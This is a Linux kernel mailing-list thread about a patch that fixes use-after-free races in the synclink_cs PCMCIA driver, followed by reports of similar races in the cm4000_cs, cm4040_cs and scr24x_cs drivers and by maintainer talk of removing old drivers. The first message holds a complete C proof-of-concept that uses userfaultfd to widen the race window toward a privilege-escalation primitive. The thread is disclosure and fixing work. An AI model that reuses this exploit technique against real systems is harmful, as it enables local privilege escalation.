2022-09-13 05:22:49

by Hyunwoo Kim

[permalink] [raw]
Subject: [PATCH] pcmcia: synclink_cs: Fix use-after-free in mgslpc_ioctl()

A race condition may occur if the user physically removes
the pcmcia device while calling ioctl() for this tty device node.

This is a race condition between the mgslpc_ioctl() function and
the mgslpc_detach() function, which may eventually result in UAF.

So, add a refcount check to mgslpc_detach() to free the structure
after the tty device node is close()d.

Signed-off-by: Hyunwoo Kim <[email protected]>
---
drivers/char/pcmcia/synclink_cs.c | 29 +++++++++++++++++++++++++----
1 file changed, 25 insertions(+), 4 deletions(-)

diff --git a/drivers/char/pcmcia/synclink_cs.c b/drivers/char/pcmcia/synclink_cs.c
index 8fc49b038372..cf0cb3d7a69c 100644
--- a/drivers/char/pcmcia/synclink_cs.c
+++ b/drivers/char/pcmcia/synclink_cs.c
@@ -216,7 +216,8 @@ typedef struct _mgslpc_info {

/* PCMCIA support */
struct pcmcia_device *p_dev;
- int stop;
+ int stop;
+ struct kref refcnt;

/* SPPP/Cisco HDLC device parts */
int netcount;
@@ -468,10 +469,21 @@ static void mgslpc_wait_until_sent(struct tty_struct *tty, int timeout);

/* PCMCIA prototypes */

+static void mgslpc_delete(struct kref *kref);
static int mgslpc_config(struct pcmcia_device *link);
static void mgslpc_release(u_long arg);
static void mgslpc_detach(struct pcmcia_device *p_dev);

+static void mgslpc_delete(struct kref *kref)
+{
+ MGSLPC_INFO *info = container_of(kref, MGSLPC_INFO, refcnt);
+ struct pcmcia_device *link = info->p_dev;
+
+ mgslpc_release((u_long)link);
+
+ mgslpc_remove_device(info);
+}
+
/*
* 1st function defined in .text section. Calling this function in
* init_module() followed by a breakpoint allows a remote debugger
@@ -534,6 +546,7 @@ static int mgslpc_probe(struct pcmcia_device *link)
init_waitqueue_head(&info->event_wait_q);
spin_lock_init(&info->lock);
spin_lock_init(&info->netlock);
+ kref_init(&info->refcnt);
memcpy(&info->params,&default_params,sizeof(MGSL_PARAMS));
info->idle_mode = HDLC_TXIDLE_FLAGS;
info->imra_value = 0xffff;
@@ -620,13 +633,14 @@ static void mgslpc_release(u_long arg)

static void mgslpc_detach(struct pcmcia_device *link)
{
+ MGSLPC_INFO *info = link->priv;
+
if (debug_level >= DEBUG_LEVEL_INFO)
printk("mgslpc_detach(0x%p)\n", link);

- ((MGSLPC_INFO *)link->priv)->stop = 1;
- mgslpc_release((u_long)link);
+ info->stop = 1;

- mgslpc_remove_device((MGSLPC_INFO *)link->priv);
+ kref_put(&info->refcnt, mgslpc_delete);
}

static int mgslpc_suspend(struct pcmcia_device *link)
@@ -2341,10 +2355,13 @@ static void mgslpc_close(struct tty_struct *tty, struct file * filp)

tty_port_close_end(port, tty);
tty_port_tty_set(port, NULL);
+
cleanup:
if (debug_level >= DEBUG_LEVEL_INFO)
printk("%s(%d):mgslpc_close(%s) exit, count=%d\n", __FILE__, __LINE__,
tty->driver->name, port->count);
+
+ kref_put(&info->refcnt, mgslpc_delete);
}

/* Wait until the transmitter is empty.
@@ -2480,6 +2497,8 @@ static int mgslpc_open(struct tty_struct *tty, struct file * filp)
if (mgslpc_paranoia_check(info, tty->name, "mgslpc_open"))
return -ENODEV;

+ kref_get(&info->refcnt);
+
port = &info->port;
tty->driver_data = info;
tty_port_tty_set(port, tty);
@@ -2520,6 +2539,8 @@ static int mgslpc_open(struct tty_struct *tty, struct file * filp)
retval = 0;

cleanup:
+ kref_put(&info->refcnt, mgslpc_delete);
+
return retval;
}

--
2.25.1


Dear all,

I think I've probably found a race-condition-to-UAF vulnerability in
drivers/char/pcmcia/synclink_cs.c.
However, this device driver is a pcmcia_driver based driver.
I haven't been able to get this old pcmcia adapter/device.

If you don't mind, I'd like to ask the Linux kernel community to test if
this vulnerability actually triggers.


# Introduction
This vulnerability occurs in drivers/char/pcmcia/synclink_cs.c.

The cause of the vulnerability is a race condition between mgslpc_ioctl() and mgslpc_detach().

The attack vector is the "/dev/ttySLP0" device node.
And this device node becomes 0660 permission belonging to the dialout group due
to the following udev rules in Ubuntu etc:
```
50-udev-default.rules:25:KERNEL=="tty[A-Z]*[0-9]|ttymxc[0-9]*|pppox[0-9]*|ircomm[0-9]*|noz[0-9]*|rfcomm[0-9]*", GROUP="dialout"
```
This means that if this vulnerability actually occurs, a user belonging to the "dialout"
group could use this UAF read/write vulnerability as an LPE.


# Vulnerability
This race condition occurs between this driver's tty_operations - mgslpc_ioctl()
and pcmcia_driver - mgslpc_detach():
```
cpu0 cpu1
1. tty_ioctl()
mgslpc_ioctl()
get_stats()
COPY_TO_USER() <- userfaultfd set
2. mgslpc_detach()
mgslpc_remove_device()
kfree(info)
3. COPY_TO_USER() <- userfaultfd release, UAF
```

1. Call ioctl() in the thread that open()ed ttySLP0.
It stops at COPY_TO_USER() in get_stats() because you pass the userfaultfd(or FUSEfs)
set userspace address when calling ioctl().

2. Physically remove the PCMCIA device.
In this case, the pcmcia_driver's .remove callback, mgslpc_detach() is called
and "kfree(info);" is executed.
Here this "info" structure is the target of a UAF attack.

3. Release userfaultfd from the thread that called ioctl().
A UAF occurs that copies the freed info structure's value to the user.
Also, since UAF occurs in all cases of mgslpc_ioctl(), it can be used for LPE.


The test code is:
```
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <pthread.h>
#include <errno.h>
#include <sched.h>
#include <malloc.h>
#include <poll.h>
#include <pty.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/ipc.h>
#include <linux/userfaultfd.h>

#include <linux/synclink.h>


#define CPU_0 1
#define CPU_1 2
#define CPU_2 3
#define CPU_3 4
#define UFFD_COUNT 1

#define die() do { \
fprintf(stderr, "died in %s: %u\\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)


int fd;
int page_size;
int set1 = 0;
char *addr;


void set_affinity(unsigned long mask) {
if (pthread_setaffinity_np(pthread_self(), sizeof(mask), (cpu_set_t *)&mask) < 0) {
perror("pthread_setaffinity_np");
}

return;
}

static void *fault_handler_thread(void *arg) {
static struct uffd_msg msg;
long uffd;
static char *page = NULL;
struct uffdio_copy uffdio_copy;
ssize_t nwrite;
int qid;
uintptr_t fault_addr;

uffd = (long)arg;

if (page == NULL) {
page = mmap(NULL, page_size,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED){
perror("mmap");
die();
}
}

for (;;) {
struct pollfd pollfd;
int nwritey;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nwritey = poll(&pollfd, 1, -1);
if (nwritey == -1) {
perror("poll");
die();
}

nwrite = read(uffd, &msg, sizeof(msg));
if (nwrite == 0) {
printf("EOF on userfaultfd!\n");
die();
}

if (nwrite == -1) {
perror("write");
die();
}

if (msg.event != UFFD_EVENT_PAGEFAULT) {
perror("Unexpected event on userfaultfd");
die();
}

fault_addr = msg.arg.pagefault.address;

if (fault_addr == (uintptr_t)addr) {

printf("[step 3] ioctl ufd stuck pid : %ld\n", syscall(SYS_gettid));

while(!set1);

memset(page, 0x42, page_size);

uffdio_copy.src = (unsigned long)page;
uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
perror("fault_handler_thwrite() - ioctl-UFFDIO_COPY case 1");
die();
}
}
}
}

void set_userfaultfd(void) {
long uffd[UFFD_COUNT];
struct uffdio_api uffdio_api[UFFD_COUNT];
struct uffdio_register uffdio_register;
pthread_t pf_hdr[UFFD_COUNT];
int p[UFFD_COUNT];
unsigned int size;

page_size = sysconf(_SC_PAGE_SIZE);
size = page_size;

addr = (char *)mmap(NULL,
page_size * UFFD_COUNT,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS,
-1, 0);

/* userfaultfd handler thwrites */
for (int i=0; i<UFFD_COUNT; i++) {
uffd[i] = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd[i] == -1) {
perror("syscall : userfaultfd");
die();
}

uffdio_api[i].api = UFFD_API;
uffdio_api[i].features = 0;
if (ioctl(uffd[i], UFFDIO_API, &uffdio_api[i]) == -1) {
perror("ioctl() : UFFDIO_API");
die();
}

uffdio_register.range.start = (unsigned long)(addr + (page_size * i));
uffdio_register.range.len = size;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd[i], UFFDIO_REGISTER, &uffdio_register) == -1) {
perror("ioctl() : UFFDIO_REGISTER");
die();
}

p[i] = pthread_create(&pf_hdr[i], NULL, fault_handler_thread, (void *)uffd[i]);
if (p[i] != 0) {
perror("pthread_create : page_fault_handler_thread");
die();
}
}
}

void *synclink_ioctl(void) {
int ret;

printf("[step 2] ioctl before pid : %ld\n", syscall(SYS_gettid));

ret = ioctl(fd, MGSL_IOCGSTATS, addr);

printf("[step 5] ioctl after ret : %d pid : %ld\n", ret, syscall(SYS_gettid));
}

void *synclink_remove(void) {
int ret;
char input[2];

sleep(5);

printf("Disconnect now (After disconnecting, type enter)\n");
read(0, input, 1);
printf("[step 4] disconnect pcmcia device\n");

sleep(5);

/*
*
* allocate a victim structure
*
*/

set1 = 1;
}

int main() {
int p1, p2;
int status1, status2;
pthread_t hdr1, hdr2;

set_userfaultfd();

fd = open("/dev/ttySLP0", O_RDWR);
printf("[step 1] open fd = %d pid : %ld\n", fd, syscall(SYS_gettid));

p1 = pthread_create(&hdr1, NULL, synclink_ioctl, (void *)NULL);
if (p1 != 0) {
perror("pthread_create 1");
die();
}

p2 = pthread_create(&hdr2, NULL, synclink_remove, (void *)NULL);
if (p2 != 0) {
perror("pthread_create 2");
die();
}

pthread_join(hdr1, (void **)&status1);
pthread_join(hdr2, (void **)&status2);

printf("done pid : %ld\n", syscall(SYS_gettid));

return 0;
}
```

If the vulnerability is actually triggered, applying the sent patch will fix it.

Best Regards,
Hyunwoo Kim.


2022-09-13 16:33:40

by Arnd Bergmann

[permalink] [raw]
Subject: Re: [PATCH] pcmcia: synclink_cs: Fix use-after-free in mgslpc_ioctl()

On Tue, Sep 13, 2022, at 7:20 AM, Hyunwoo Kim wrote:
> A race condition may occur if the user physically removes
> the pcmcia device while calling ioctl() for this tty device node.
>
> This is a race condition between the mgslpc_ioctl() function and
> the mgslpc_detach() function, which may eventually result in UAF.
>
> So, add a refcount check to mgslpc_detach() to free the structure
> after the tty device node is close()d.
>
> Signed-off-by: Hyunwoo Kim <[email protected]>

I think both your analysis and your patch are correct.

You might want to spell out use-after-free in the changelog
text, especially if you have a tool that finds more of these.

> I think I've probably found a race-condition-to-UAF vulnerability in
> drivers/char/pcmcia/synclink_cs.c.
> However, this device driver is a pcmcia_driver based driver.
> I haven't been able to get this old pcmcia adapter/device.
>
> If you don't mind, I'd like to ask the Linux kernel community to test if
> this vulnerability actually triggers.

Adding Paul Fulghum as the original driver author and Dominik
Brodowski as the PCMCIA maintainer to Cc, if anyone still has
the hardware, it would be one of them.
https://lore.kernel.org/lkml/20220913052020.GA85241@ubuntu/
has the full email for reference.

Even if nobody has the hardware, we could just apply the patch
anyway. Alternatively, we could take a pass at removing most
of the pcmcia_driver instances from the kernel including this
one. Dominik has previously brought up phasing out the
16-bit PCMCIA support altogether at some point, and we may
as well start by removing the ones that have no apparent users
any more, at least that might avoid spending much time on
fixing bugs that nobody cares about.

I'm fairly sure the embedded users mostly care about CF storage
cards, which is the one driver that definitely has to stay.
Most other pcmcia drivers predate the git history, though there
are a few that were only added in the past decade, these would
be the most likely to still be in use:

v5.2-rc1-82-g8674a8aa2c39 scsi: fdomain: Add PCMCIA support
v4.9-rc3-54-gf2ed287bcc90 char/pcmcia: add scr24x_cs chip card interface driver
v3.3-rc5-882-g2b61972b7421 can: sja1000: add support for PEAK-System PCMCIA card
v3.1-rc7-1048-gfd734c6f25ae can/sja1000: add driver for EMS PCMCIA card
v2.6.37-3908-g0a0b7a5f7a04 can: add driver for Softing card

Arnd

2022-09-13 16:35:20

by Paul Fulghum

[permalink] [raw]
Subject: Re: [PATCH] pcmcia: synclink_cs: Fix use-after-free in mgslpc_ioctl()

This has been out of production for almost 20 years. It was never a large seller. I do not have the hardware. The chance of one still being in operation someplace is close to zero.

The best solution is to remove this driver from the kernel. Two other obsolete SyncLink drivers were removed a year ago. This would be a good opportunity to remove synclink_cs.c (PCMCIA)

The current SyncLink driver is synclink_gt.c (PCI/PCIe hardware), which is still sold and supported.


> On Sep 13, 2022, at 7:59 AM, Arnd Bergmann <[email protected]> wrote:
>
> On Tue, Sep 13, 2022, at 7:20 AM, Hyunwoo Kim wrote:
>> A race condition may occur if the user physically removes
>> the pcmcia device while calling ioctl() for this tty device node.
>>
>> This is a race condition between the mgslpc_ioctl() function and
>> the mgslpc_detach() function, which may eventually result in UAF.
>>
>> So, add a refcount check to mgslpc_detach() to free the structure
>> after the tty device node is close()d.
>>
>> Signed-off-by: Hyunwoo Kim <[email protected]>
>
> I think both your analysis and your patch are correct.
>
> You might want to spell out use-after-free in the changelog
> text, especially if you have a tool that finds more of these.
>
>> I think I've probably found a race-condition-to-UAF vulnerability in
>> drivers/char/pcmcia/synclink_cs.c.
>> However, this device driver is a pcmcia_driver based driver.
>> I haven't been able to get this old pcmcia adapter/device.
>>
>> If you don't mind, I'd like to ask the Linux kernel community to test if
>> this vulnerability actually triggers.
>
> Adding Paul Fulghum as the original driver author and Dominik
> Brodowski as the PCMCIA maintainer to Cc, if anyone still has
> the hardware, it would be one of them.
> https://lore.kernel.org/lkml/20220913052020.GA85241@ubuntu/
> has the full email for reference.
>
> Even if nobody has the hardware, we could just apply the patch
> anyway. Alternatively, we could take a pass at removing most
> of the pcmcia_driver instances from the kernel including this
> one. Dominik has previously brought up phasing out the
> 16-bit PCMCIA support altogether at some point, and we may
> as well start by removing the ones that have no apparent users
> any more, at least that might avoid spending much time on
> fixing bugs that nobody cares about.
>
> I'm fairly sure the embedded users mostly care about CF storage
> cards, which is the one driver that definitely has to stay.
> Most other pcmcia drivers predate the git history, though there
> are a few that were only added in the past decade, these would
> be the most likely to still be in use:
>
> v5.2-rc1-82-g8674a8aa2c39 scsi: fdomain: Add PCMCIA support
> v4.9-rc3-54-gf2ed287bcc90 char/pcmcia: add scr24x_cs chip card interface driver
> v3.3-rc5-882-g2b61972b7421 can: sja1000: add support for PEAK-System PCMCIA card
> v3.1-rc7-1048-gfd734c6f25ae can/sja1000: add driver for EMS PCMCIA card
> v2.6.37-3908-g0a0b7a5f7a04 can: add driver for Softing card
>
> Arnd

2022-09-13 17:20:05

by Hyunwoo Kim

[permalink] [raw]
Subject: Re: [PATCH] pcmcia: synclink_cs: Fix use-after-free in mgslpc_ioctl()

Dear all,

I don't have deep domain knowledge about PCMCIA.
I will abide by your decision.

Best Regards,
Hyunwoo Kim.

2022-09-15 02:27:02

by Hyunwoo Kim

[permalink] [raw]
Subject: Re: [PATCH] pcmcia: synclink_cs: Fix use-after-free in mgslpc_ioctl()

The previous mailing list is here:
https://lore.kernel.org/lkml/20220913052020.GA85241@ubuntu/#r


There are 3 other pcmica drivers in the path "drivers/char/pcmcia/synclink_cs.c",
the path of the "synclink_cs.c" driver I reported the UAF to.
A similar UAF occurs in the "cm4000_cs.c" and "cm4040_cs.c" drivers.
(this does not happen in scr24x_cs.c)

The flow of UAF occurrence in cm4040_cs.c driver is as follows:
```
cpu0 cpu1
1. open()
cm4040_open()
2. reader_detach()
reader_release()
cm4040_reader_release()
while (link->open) { ...
3. link->open = 1;
4. kfree(dev);
device_destroy()
5. read() <- device_destroy() was called, but read() can be called because fd is open
cm4040_read()
int iobase = dev->p_dev->resource[0]->start; <- UAF
```
In cm4040_open() function, link->open is set to 1.
And in the .remove callback reader_detach() function, if link->open is 1,
cm4040_close() is called and wait()s until link->open becomes 0.
However, if the above race condition occurs in these two functions,
the link->open check in reader_detach() can be bypassed.
After that, you can call read() on the task that acquired fd to raise a
UAF for the kfree()d "dev".


The flow of UAF occurrence in cm4000_cs.c driver is as follows:

```
cpu0 cpu1
1. open()
cmm_open()
2. cm4000_detach()
stop_monitor()
if (dev->monitor_running) { ...
3. start_monitor()
dev->monitor_running = 1;
4. cm4000_release()
cmm_cm4000_release()
while (link->open) { ...
5. link->open = 1;
6. kfree(dev);
device_destroy()
7. read() <- device_destroy() was called, but read() can be called because fd is open
cmm_read()
unsigned int iobase = dev->p_dev->resource[0]->start; <- UAF
```
In the cm4000_cs.c driver, the race condition flow is tricky because of
the start/stop_monitor() functions.

The overall flow is similar to cm4040_cs.c.
Added one race condition to bypass the "dev->monitor_running" check.


So, should the above two drivers be removed from the kernel like the synclink_cs.c driver?

Or should I submit a patch that fixes the UAF?


Best Regards,
Hyunwoo Kim.

2022-09-15 08:19:26

by Dominik Brodowski

[permalink] [raw]
Subject: Re: [PATCH] pcmcia: synclink_cs: Fix use-after-free in mgslpc_ioctl()

Am Thu, Sep 15, 2022 at 09:35:51AM +0200 schrieb Arnd Bergmann:
> On Thu, Sep 15, 2022, at 4:08 AM, Hyunwoo Kim wrote:
> > There are 3 other pcmica drivers in the path
> > "drivers/char/pcmcia/synclink_cs.c",
> > the path of the "synclink_cs.c" driver I reported the UAF to.
> > A similar UAF occurs in the "cm4000_cs.c" and "cm4040_cs.c" drivers.
> > (this does not happen in scr24x_cs.c)
> ...
> > In the cm4000_cs.c driver, the race condition flow is tricky because of
> > the start/stop_monitor() functions.
> >
> > The overall flow is similar to cm4040_cs.c.
> > Added one race condition to bypass the "dev->monitor_running" check.
> >
> >
> > So, should the above two drivers be removed from the kernel like the
> > synclink_cs.c driver?
> >
> > Or should I submit a patch that fixes the UAF?
>
> There is a good chance that we can remove both now, along with the
> synclink_cs. The scr24x driver is from 2016, but of course the
> hardware is much older. The cm4040/cm4000 drivers are from 2005.
> My guess is that the hardware still exists in actively used systems,
> but none of them get upgraded to modern kernels any more.
>
> Let's just ask the driver authors (Lubomir and Harald) if they
> think the drivers may still be needed.

Actually, I'd prefer to apply a patch to fix this now-known problem first,
even if we deactive / remove these drivers immediately afterwards.

Thanks,
Dominik

2022-09-15 08:36:32

by Arnd Bergmann

[permalink] [raw]
Subject: Re: [PATCH] pcmcia: synclink_cs: Fix use-after-free in mgslpc_ioctl()

On Thu, Sep 15, 2022, at 4:08 AM, Hyunwoo Kim wrote:
> There are 3 other pcmica drivers in the path
> "drivers/char/pcmcia/synclink_cs.c",
> the path of the "synclink_cs.c" driver I reported the UAF to.
> A similar UAF occurs in the "cm4000_cs.c" and "cm4040_cs.c" drivers.
> (this does not happen in scr24x_cs.c)
...
> In the cm4000_cs.c driver, the race condition flow is tricky because of
> the start/stop_monitor() functions.
>
> The overall flow is similar to cm4040_cs.c.
> Added one race condition to bypass the "dev->monitor_running" check.
>
>
> So, should the above two drivers be removed from the kernel like the
> synclink_cs.c driver?
>
> Or should I submit a patch that fixes the UAF?

There is a good chance that we can remove both now, along with the
synclink_cs. The scr24x driver is from 2016, but of course the
hardware is much older. The cm4040/cm4000 drivers are from 2005.
My guess is that the hardware still exists in actively used systems,
but none of them get upgraded to modern kernels any more.

Let's just ask the driver authors (Lubomir and Harald) if they
think the drivers may still be needed.

Arnd

2022-09-15 09:04:38

by Hyunwoo Kim

[permalink] [raw]
Subject: Re: [PATCH] pcmcia: synclink_cs: Fix use-after-free in mgslpc_ioctl()

On Thu, Sep 15, 2022 at 10:02:35AM +0200, Dominik Brodowski wrote:
> Actually, I'd prefer to apply a patch to fix this now-known problem first,
> even if we deactive / remove these drivers immediately afterwards.

Ok. A patch for the synclink_cs.c driver was submitted first on this mailing list,
and the other two will be submitted soon.


Best Regards,
Hyunwoo Kim.

2022-09-15 15:17:48

by Harald Welte

[permalink] [raw]
Subject: Re: [PATCH] pcmcia: synclink_cs: Fix use-after-free in mgslpc_ioctl()

Hi Arnd,

On Thu, Sep 15, 2022 at 09:35:51AM +0200, Arnd Bergmann wrote:
> There is a good chance that we can remove both now, along with the
> synclink_cs. The scr24x driver is from 2016, but of course the
> hardware is much older. The cm4040/cm4000 drivers are from 2005.
> My guess is that the hardware still exists in actively used systems,
> but none of them get upgraded to modern kernels any more.

It is probably true. But the same argument can be made about all of the
PCMCIA drivers. It's been a long time since any new mass-market hardware
with PCMCIA slots has been produced. Even if you count in the (non-express)
cardbus, the same argument holds true.

I personally haven't used any of those cm4000/cm4040 in ages. But what
particularly the last decade of my professional career has taught me:
There are typically always more users of legacy tech out there than you
would imagine. The question is whether those users are relevant enough
for today's kernel maintainers to care. This isn't meant to sound
bitter - I'm just stating facts. It can be a valid "developer resource
economic" decision to not care.

Regards,
Harald

--
- Harald Welte <[email protected]> http://laforge.gnumonks.org/
============================================================================
"Privacy in residential applications is a desirable marketing option."
(ETSI EN 300 175-7 Ch. A6)

2022-09-16 05:59:48

by Hyunwoo Kim

[permalink] [raw]
Subject: Re: [PATCH] pcmcia: synclink_cs: Fix use-after-free in mgslpc_ioctl()

The previous mailing list is here:
https://lore.kernel.org/lkml/20220913052020.GA85241@ubuntu/#r


Dear all,


I reported that the scr24x_cs driver does not cause UAF, which is incorrect.

UAFs can also occur in the scr24x_cs driver in the following order:
```
cpu0 cpu1
1. open()
2. scr24x_remove()
device_destroy()
cdev_del()
kref_put()
3. scr24x_open()
kref_get() <- refcount_t: addition on 0;
4. scr24x_delete()
kfree(dev);
5. scr24x_read() <- UAF
```
Because this driver uses kref_init, it looks as if no UAF is happening, but it does.

Since there is no lock between .open and .remove, kref_get() is called after kref_put()
is called, so "refcount_t: addition on 0;" This is what happens.


So I submitted a patch for all drivers in this path:
- synclink_cs.c "v2" patch : https://lore.kernel.org/lkml/20220916045734.GA187909@ubuntu/T/#u
- cm4040_cs.c : https://lore.kernel.org/lkml/20220916045834.GA188033@ubuntu/T/#u
- cm4000_cs.c : https://lore.kernel.org/lkml/20220916045929.GA188153@ubuntu/T/#u
- scr24x_cs.c : https://lore.kernel.org/lkml/20220916050006.GA188273@ubuntu/T/#u


Best Regards,
Hyunwoo Kim.